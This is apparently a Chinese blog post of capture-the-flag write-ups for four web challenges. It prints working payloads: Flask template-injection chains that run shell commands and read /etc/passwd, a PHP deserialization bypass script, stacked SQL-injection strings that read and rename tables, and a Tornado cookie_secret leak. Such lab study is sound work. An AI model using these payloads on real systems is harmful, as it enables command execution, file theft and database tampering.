攻防世界 web高手进阶区 3分题(持续更新)

前言

继续ctf的旅程
攻防世界web高手进阶区的3分题

1、Web_python_template_injection

题目提示是python template injection
是SSTI。。。
。。。。。。
之前没接触过,现学
从零学习flask模板注入

寻找可用引用

{{''.__class__.__mro__[2].__subclasses__()}}

在这里插入图片描述
找到我们想要 的 os 所在的 site._Printer 类,它在列表的第72位

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

在这里插入图片描述
得到flag所在的位置

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

在这里插入图片描述
到手

也可以用

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

得到flag

注:
几个有用的payload

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[' os'].popen('cat fl4g').read()
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[' os'].system('ls') 
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

2、Web_php_unserialize

在这里插入图片描述
进来是这么一段源码

  • 初始化传入值可以更改类中属性file的值
  • flag在fl4g.php
  • 当demo实列销毁时会高亮显示file指向的文件内容

参数传入要求

  • 先进行base64加密
  • preg_match()匹配绕过
  • unserialize() 反序列化执行_wakeup()的绕过

加密和反序列化都不是问题
关键是绕过正则匹配和_wakeup()

wakeup的绕过还行
当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过

正则的绕过不太懂
查了查是说用“+”即可
后来找到一篇解释
大佬笔记

最后得到脚本

<?php 
class Demo { 
    private $file = 'fl4g.php'; //flag在fl4g.php
}
$a= serialize(new demo); //序列化
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$a= str_replace('O:4', 'O:+4',$a); //用“+”绕过preg_match
$a= str_replace(':1:', ':4:',$a); //把对象个数从1变成大于1的个数绕过wakeup
echo base64_encode($a); //加密
?>

运行得到payload

TzorNDoiRGVtbyI6NDp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

放入url
在这里插入图片描述
得到flag

注:
关注版本问题
像“+”绕过正则是php5里的

3、supersqli

进去瞅着是sql注入
加个'试下
在这里插入图片描述
存在sql注入
数据库是MariaDB

先猜字段

1' order by 2# 返回正常
1' order by 3# 返回错误

所以是两列

爆库

1' union select 1,database()#

出问题了
在这里插入图片描述
这些关键词被过滤了

笔者懵逼
查了下
可以用堆叠注入

查数据库

1';show databases;#

在这里插入图片描述
查表

1';show tables;#

在这里插入图片描述
那应该在这两个表里

爆列

1';show columns from `1919810931114514`;# 这里注意反引号

在这里插入图片描述

1';show columns from words;#

在这里插入图片描述
可以看到flag在1919810931114514这个表里
mysql中可以用handler查询
尝试下

1';handler `1919810931114514` open;handler `1919810931114514` read first;#

在这里插入图片描述
得到flag

看了看writeup:
发现最后查数据的方法主要有两种

  • 预处理
  • 改表名
    (反正看了四五篇没看到跟笔者一样用handler的)

预处理
这个绕过方式有点妙

1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;#

改表名
将表1919810931114514名字改为words,flag列名字改为id
这个思路蛮符合攻击者的,暴力修改,一切随我心意

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

然后用1‘ or 1=1#

4、easy_tornado

进去是三个文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
给了三个提示:

  • flag在/fllllllllllllag文件里
  • render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面,可能与SSTI有关
  • filehash=md5(cookie_secret+md5(filename)),我们只需要找到cookie_secret

可参考python SSTI tornado render模板注入
构造payload

error?msg={{ handler.settings }}

获取cookie_secret在这里插入图片描述
然后就可以根据要求进行md5加密
再构造payload形似

file?filename=/fllllllllllllag&filehash=******************

获取flag
在这里插入图片描述
注:
tornado
render
SSTI

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/106675774